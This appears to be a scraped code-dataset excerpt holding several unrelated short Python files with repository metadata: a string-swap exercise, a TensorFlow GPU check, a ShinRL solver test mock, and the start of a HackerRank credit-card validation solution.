""" Write a function that swaps two strings without using a third variable. Example: s1 = 'abcdef' s2 = '123456' Expected output : s1 = '123456' s2 = 'abcdef' """ def swap_strings(s1,s2): s1, s2 = s2, s1 return s1, s2
12.210526
71
0.642241
751bbdd2156a476a0b0110b4abc77496603c758c
148
py
Python
TF_gpu_test.py
felixdittrich92/DeepLearning-tensorflow-keras
2880d8ed28ba87f28851affa92b6fa99d2e47be9
[ "Apache-2.0" ]
null
null
null
TF_gpu_test.py
felixdittrich92/DeepLearning-tensorflow-keras
2880d8ed28ba87f28851affa92b6fa99d2e47be9
[ "Apache-2.0" ]
null
null
null
TF_gpu_test.py
felixdittrich92/DeepLearning-tensorflow-keras
2880d8ed28ba87f28851affa92b6fa99d2e47be9
[ "Apache-2.0" ]
null
null
null
import tensorflow as tf value = tf.test.is_gpu_available() print(value) print("Num GPUs Available: ", len(tf.config.list_physical_devices('GPU')))
24.666667
74
0.763514
7525cc47546467f95ef56e7d4fd06bbb48018791
2,129
py
Python
tests/solvers/base/base_solver_test.py
omron-sinicx/ShinRL
09f4ae274a33d1fc1d9d542f816aef40014af6b5
[ "MIT" ]
34
2021-12-09T07:12:57.000Z
2022-03-11T08:17:20.000Z
tests/solvers/base/base_solver_test.py
omron-sinicx/ShinRL
09f4ae274a33d1fc1d9d542f816aef40014af6b5
[ "MIT" ]
null
null
null
tests/solvers/base/base_solver_test.py
omron-sinicx/ShinRL
09f4ae274a33d1fc1d9d542f816aef40014af6b5
[ "MIT" ]
4
2021-12-11T07:48:01.000Z
2022-03-01T23:50:33.000Z
import gym import shinrl as srl class MockSolver(srl.BaseSolver): @staticmethod def make_mixins(env, config): return [MockSolver] def step(self): i = self.n_step return {"test1": i, "test2": i * 10} def evaluate(self): return {"test_eval": self.n_step} class MockAc...
26.283951
73
0.640207
75598f1830b4f98d873bd76d57fa954b7bd68a27
1,826
py
Python
Hackerrank_problems/CreditCardValid/solution.py
gbrls/CompetitiveCode
b6f1b817a655635c3c843d40bd05793406fea9c6
[ "MIT" ]
165
2020-10-03T08:01:11.000Z
2022-03-31T02:42:08.000Z
Hackerrank_problems/CreditCardValid/solution.py
gbrls/CompetitiveCode
b6f1b817a655635c3c843d40bd05793406fea9c6
[ "MIT" ]
383
2020-10-03T07:39:11.000Z
2021-11-20T07:06:35.000Z
Hackerrank_problems/CreditCardValid/solution.py
gbrls/CompetitiveCode
b6f1b817a655635c3c843d40bd05793406fea9c6
[ "MIT" ]
380
2020-10-03T08:05:04.000Z
2022-03-19T06:56:59.000Z
# Simple Python Program which mainly satisfies the required conditions on the Problem Statement using IF statements # Shows the implementation of array to string and string methods # Refer to the below information for checking validity of a Credit Card # 1. A credit card contains 16 digits, starting with 4,5 or 6, all ...
42.465116
126
0.671961